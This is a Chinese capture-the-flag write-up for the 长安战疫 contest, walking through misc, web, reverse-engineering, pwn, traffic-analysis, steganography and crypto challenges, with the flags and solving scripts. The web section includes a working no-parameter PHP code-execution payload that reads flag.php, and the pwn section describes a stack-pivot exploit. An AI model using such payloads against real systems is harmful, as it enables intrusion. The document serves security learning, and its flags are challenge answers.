长安战疫网络安全卫士守护赛wp
其他题目整合到我的CTF仓库中了
Misc
八卦迷宫
flag为cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}
Web
RCE_No_Para
根据题目提示,无参数的RCE,
源码提示括号里不能有参数,且禁止了含dir的相关函数、end等指针的移动和session的使用,但可以利用数组函数将传入的另一个值进行命令执行,编写脚本如下
import requests payload = “readfile(pos(array_reverse(current(get_defined_vars()))))”url = f’http://da077b2f.lxctf.net/?code={payload};&a=flag.php' r = requests.get(url=url)print (r.text)
flag{dd5684123bd91016827ea1aca4890a0c}
逆向
combat_slogan
拿到题目后发现是.jar的文件,放入jd-gui逆向出java代码,代码逻辑很简单,就是对输入的字符串进行一个加密,加密函数为ttk,加密之后与字符串Jr_j11y_s1tug_g0_raq_g0_raq_pnml作比较,因此,解题思路就是把ttk函数的算法逆向,从而得出满足条件的用户输入值
解密脚本:
1 |
|
解出来是We_w11l_f1ght_t0_end_t0_end_cazy
cute_doge
拿到题目是一个exe加了很多动态链接文件的东西,打开后怎么点也没法点出flag,用x64dbg调试也不太好去找弹出flag的窗口
不过在ida中去搜字符串,发现有可疑的字符串
对字符串”ZmxhZ3tDaDFuYV95eWRzX2Nhenl9”进行base64解密即可,得到flag{Ch1na_yyds_cazy}
hello_py
题目是一个pyc的文件,通过uncompyle6 -o . .\easy_py.cpython-38.pyc
命令可以逆向得到py代码,解密的关键很直接,只需要输入的值经过encode_1和encode_2转化后为44, 100, 3, 50, 106, 90, 5, 102, 10, 112(即跟happy的值一样)就成功了
1 | # uncompyle6 version 3.8.0 |
因为题目是多线程,为了方便观察,我对encode_1和encode_2内部的以下几个地方增加了输出,打印当前的num值
1 | def encode_1(n): |
结果如下:
说明执行流程是这样的:
1 | flag[9] = flag[9] ^ 9 |
要解密出来只需要逆过来算一遍flag即可
脚本:
1 | Happy = [44, 100, 3, 50, 106, 90, 5, 102, 10, 112] |
最后解出来是He110_cazy
PWN
pwn1
题目开启了Full RELRO和NX保护
反汇编后,明显看到read时让buf溢出了,可以覆盖掉函数调用前栈中rbp、rsp的值(但不是直接控制),而且还有buf(栈顶的实际地址泄露)
1 | int __cdecl main() |
0x8048540是get_shell的地址,里面直接有bin_sh和system,因此不用考虑ret2libc,此题关键在于弄清楚ecx干扰函数返回时的栈空间状态还原,与常规的不同,哪怕用了leave,最后还是取决于ecx,所以需要关注ecx的变化以及来源
弄清楚这个点后,其实题目就是一个stack_pivot的问题,只需要根据结构构造出ebp、esp的值,如何构造?利用泄露的buf,根据ecx的来源ebp+var_4和去向ecx-4,把buf的首地址赋值为get_shell的地址,最后retn的时候就可以执行get_shell了
EXP
1 | # encoding: utf-8 |
flag{474b7f9219effe69530da4ad63c1752a}
补题(持续更新)
西安加油(初见流量题)
拿到题目是一道流量分析的文件,需要放到wireshark中分析
对流量包导出HTTP对象,发现只有hint.txt和secret.txt中有可以分析的内容
导出来hint.txt
1 | HE2DAMZOOBXGOIDJOMQDACRYGA4DMLTQNZTSA2LTEAYQUNZTGAYS44DOM4QGS4ZAGIFDONBSGIXHA3THEBUXGIBTBIZTSNZYFZYG4ZZANFZSANAKHAZDMNROOBXGOIDJOMQDKCRXGY4DGLTQNZTSA2LTEA3AUNJUGEYC44DOM4QGS4ZAG4FDIMZWGUXHA3THEBUXGIBYBIZDIMRWFZYG4ZZANFZSAOIKHEYDKNROOBXGOIDJOMQDCMAKGMZDANJOOBXGOIDJOMQDCMIKGYZTMMJOOBXGOIDJOMQDCMQKHEYTMNZOOBXGOIDJOMQDCMYKGMYTSNJOOBXGOIDJOMQDCNAKGU4DKMROOBXGOIDJOMQDCNIKHEZDQMBOOBXGOIDJOMQDCNQKHE3TAMROOBXGOIDJOMQDCNYKHA2DENBOOBXGOIDJOMQDCOAKGE3DONJOOBXGOIDJOMQDCOIKGMYDCNBOOBXGOIDJOMQDEMAKG44TQNROOBXGOIDJOMQDEMIKHA2DGMROOBXGOIDJOMQDEMQKG4YTGOJOOBXGOIDJOMQDEMYKGQ3DKNJOOBXGOIDJOMQDENAKG4ZDKOBOOBXGOIDJOMQDENIKGM2TMNJOOBXGOIDJOMQDENQKGU2DINBOOBXGOIDJOMQDENYKG4ZTQNBOOBXGOIDJOMQDEOAKGIYDAMZOOBXGOIDJOMQDEOIKHA3DQOBOOBXGOIDJOMQDGMAKGU4TKNROOBXGOIDJOMQDGMIKGM2TAOJOOBXGOIDJOMQDGMQKHEYDENZOOBXGOIDJOMQDGMYKGE4TANJOOBXGOIDJOMQDGNAKGYYDQNJOOBXGOIDJOMQDGNIKG42DANROOBXGOIDJOMQDGNQKGE3DKMBOOBXGOIDJOMQDGNYKHA3DAMROOBXGOIDJOMQDGOAKHEZTONZOOBXGOIDJOMQDGOIKGEZTEMZOOBXGOIDJOMQDIMAKG4ZTEMJOOBXGOIDJOMQDIMIKGI3TINZOOBXGOIDJOMQDIMQKG4YTENJOOBXGOIDJOMQDIMYKGEZDEMBOOBXGOIDJOMQDINAKG4YDOOJOOBXGOIDJOMQDINIKGUYTOMROOBXGOIDJOMQDINQKGUYDOMBOOBXGOIDJOMQDINY= |
是一个base32加密的字符串,解出来是
1 | 9403.png is 0 |
base64解密secret.txt,看到开头的魔数,PK就是zip压缩包的头,然后在cyberchef中save output file
把cyberchef的内容复制到010中保存或者改下后缀名为zip,就能解压出很多图片了
按照hint的png提示顺序,拼出来的图片就是flag了,cazy{make_xiAN_great_Again}
Ez_Steg
爆破六位得到密码为220101,解压出来有两个文件,emojio.txt里面全是表情
pyc隐写,在kali中执行命令./stegosaurus -x ../steg.pyc
执行之后,得到TheKey:St3g1sV3ryFuNny
1 | ┌──(root💀kali)-[/home/re1own/Desktop/misc/stegosaurus] |
emoji解密网站:https://emoji-aes.miaotony.xyz/
得到cazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke}
no_cry_no_can
题目给了一个py代码,看懂代码后,下面的代码最后输出的c其实是flag ^ key的值,所以要求原来的flag其实就是再和key进行一次异或操作
1 | from Crypto.Util.number import* |
解密脚本
1 | flag = b'cazy{' |
解出来cazy{y3_1s_a_h4nds0me_b0y!}
1 | 🍎 ~/nop/ python3 test.py |
Binary_misc
题目下载下来,linux中file查看文件信息,发现是一个class数据文件
1 | ┌──(root💀06aa46c0844f)-[/home] |
把文件后缀改为class,用idea打开如下
1 | // |
把var10000数组中的数据提取出来,16进制转ascii码
1 | MDAwMDAwMDEwMTExMDAwMDAwMDAxMTExMTEwMTExMDAwMDAwMFxuMDExMTExMDEwMTEwMTAxMDExMTExMDAwMTExMDExMDExMTExMFxuMDEwMDAxMDEwMDAwMTExMTAwMDExMTAxMDExMDExMDEwMDAxMFxuMDEwMDAxMDExMDAwMDAxMTAwMDExMTAwMDAwMTAxMDEwMDAxMFxuMDEwMDAxMDExMTAxMTAxMTAwMTEwMTEwMTAxMTExMDEwMDAxMFxuMDExMTExMDEwMTExMDEwMDAwMDAwMTAwMTAwMDAxMDExMTExMFxuMDAwMDAwMDEwMTAxMDEwMTAxMDEwMTAxMDEwMTAxMDAwMDAwMFxuMTExMTExMTEwMDEwMDAwMDAwMDEwMDExMDAxMTExMTExMTExMVxuMTEwMDAxMDEwMTAxMDAwMDEwMTExMTExMDEwMDAwMDAxMTAwMFxuMDEwMTEwMTAwMDExMDAxMDAxMDAwMDEwMDExMDEwMTAxMTEwMVxuMTAxMTAwMDAwMTAwMTExMTAwMTEwMDAxMTAxMDAwMDAxMDAxMFxuMTExMDExMTExMTExMDAxMDEwMTEwMTAwMDExMDEwMTAxMTEwMFxuMTAxMDExMDAwMTExMDAwMDAwMDExMDEwMDAwMDAwMDAwMDAxMFxuMDExMDEwMTAwMTAwMDEwMDAxMTAxMTEwMTAxMTEwMTExMTEwMVxuMDAxMDEwMDEwMDExMTExMTEwMTExMDAwMDExMDAxMDEwMDAxMFxuMDAxMDAwMTEwMTExMDExMDExMDAxMTAwMTEwMDExMDAxMTEwMVxuMTExMDEwMDExMDAwMTExMTExMTAxMTAxMDAxMTAwMDAwMDAxMFxuMDAwMDExMTAxMDEwMDAxMTEwMDAwMDEwMTEwMTExMTExMDExMVxuMTEwMTEwMDExMDEwMTEwMTAwMTEwMDAxMDEwMDExMDAwMDEwMFxuMDEwMTAwMTAwMTExMTAwMTAwMDAwMTAwMTExMDAxMDAxMDExMVxuMDEwMTAxMDAxMTAwMDExMTAwMDExMDAxMDAwMDAxMDEwMTAwMFxuMTAwMTEwMTExMTEwMTExMDExMDAxMDAxMTExMTEwMTAxMTEwMVxuMTEwMTEwMDAxMDExMTAwMDAwMDEwMTExMDExMDAwMTAxMTAxMFxuMDAxMTAwMTAwMDExMTEwMTEwMDAxMTExMDEwMDEwMDExMTEwMVxuMDEwMTAwMDAwMTExMDEwMTExMDExMDEwMTExMTExMDEwMDAxMFxuMDEwMTAxMTAxMTAwMTAwMTAwMDAwMDExMDEwMDAxMDAxMTExMVxuMDExMDEwMDAxMDAwMTExMDAxMDExMDAxMTAxMTExMTAwMTEwMFxuMDExMTAwMTExMTEwMDAwMDAxMDExMDExMDExMTAwMTExMTEwMFxuMDEwMDExMDAxMDExMDAxMDEwMDAxMDExMTAxMTAwMDAwMDAwMFxuMTExMTExMTEwMTAxMTAwMTExMDAxMTEwMDEwMTAxMTEwMTAxMVxuMDAwMDAwMDExMTAwMDExMTAxMTAxMDExMDAwMTAxMDEwMDEwMFxuMDExMTExMDExMTAwMTEwMTAxMDExMDEwMTEwMDAxMTEwMTExMVxuMDEwMDAxMDEwMDExMDAwMDExMDAxMTAxMDAwMDAwMDAwMDAxMFxuMDEwMDAxMDEwMTExMTEwMTEwMDAxMTExMTExMTExMDEwMDExMVxuMDEwMDAxMDEwMTEwMTExMTExMTEwMDAwMDAxMDEwMTAxMDExMFxuMDExMTExMDExMTExMTAwMDEwMTEwMTAwMTExMTAwMDExMDExMFxuMDAwMDAwMDExMTExMTAxMTExMDExMDAwMDAwMDEwMDAxMTAwMA |
base64解码
1 | 0000000101110000000011111101110000000\n0111110101101010111110001110110111110\n0100010100001111000111010110110100010\n0100010110000011000111000001010100010\n0100010111011011001101101011110100010\n0111110101110100000001001000010111110\n0000000101010101010101010101010000000\n1111111100100000000100110011111111111\n1100010101010000101111110100000011000\n0101101000110010010000100110101011101\n1011000001001111001100011010000010010\n1110111111110010101101000110101011100\n1010110001110000000110100000000000010\n0110101001000100011011101011101111101\n0010100100111111101110000110010100010\n0010001101110110110011001100110011101\n1110100110001111111011010011000000010\n0000111010100011100000101101111110111\n1101100110101101001100010100110000100\n0101001001111001000001001110010010111\n0101010011000111000110010000010101000\n1001101111101110110010011111101011101\n1101100010111000000101110110001011010\n0011001000111101100011110100100111101\n0101000001110101110110101111110100010\n0101011011001001000000110100010011111\n0110100010001110010110011011111001100\n0111001111100000010110110111001111100\n0100110010110010100010111011000000000\n1111111101011001110011100101011101011\n0000000111000111011010110001010100100\n0111110111001101010110101100011101111\n0100010100110000110011010000000000010\n0100010101111101100011111111110100111\n0100010101101111111100000010101010110\n0111110111111000101101001111000110110\n0000000111111011110110000000100011000 |
0101转二维码
1 | s = '0000000101110000000011111101110000000\n0111110101101010111110001110110111110\n0100010100001111000111010110110100010\n0100010110000011000111000001010100010\n0100010111011011001101101011110100010\n0111110101110100000001001000010111110\n0000000101010101010101010101010000000\n1111111100100000000100110011111111111\n1100010101010000101111110100000011000\n0101101000110010010000100110101011101\n1011000001001111001100011010000010010\n1110111111110010101101000110101011100\n1010110001110000000110100000000000010\n0110101001000100011011101011101111101\n0010100100111111101110000110010100010\n0010001101110110110011001100110011101\n1110100110001111111011010011000000010\n0000111010100011100000101101111110111\n1101100110101101001100010100110000100\n0101001001111001000001001110010010111\n0101010011000111000110010000010101000\n1001101111101110110010011111101011101\n1101100010111000000101110110001011010\n0011001000111101100011110100100111101\n0101000001110101110110101111110100010\n0101011011001001000000110100010011111\n0110100010001110010110011011111001100\n0111001111100000010110110111001111100\n0100110010110010100010111011000000000\n1111111101011001110011100101011101011\n0000000111000111011010110001010100100\n0111110111001101010110101100011101111\n0100010100110000110011010000000000010\n0100010101111101100011111111110100111\n0100010101101111111100000010101010110\n0111110111111000101101001111000110110\n0000000111111011110110000000100011000' |
得二维码,扫描得flag{932b2c0070e4897ea7df0190dbf36ece}
Reference
彩蛋
本次比赛是Nilunus战队首战,排名137/591,收获长安“战疫”网络安全卫士的称号和很多知识,取得较为不错的成绩,望今后自己的学校战队能取得惊人的网安成绩!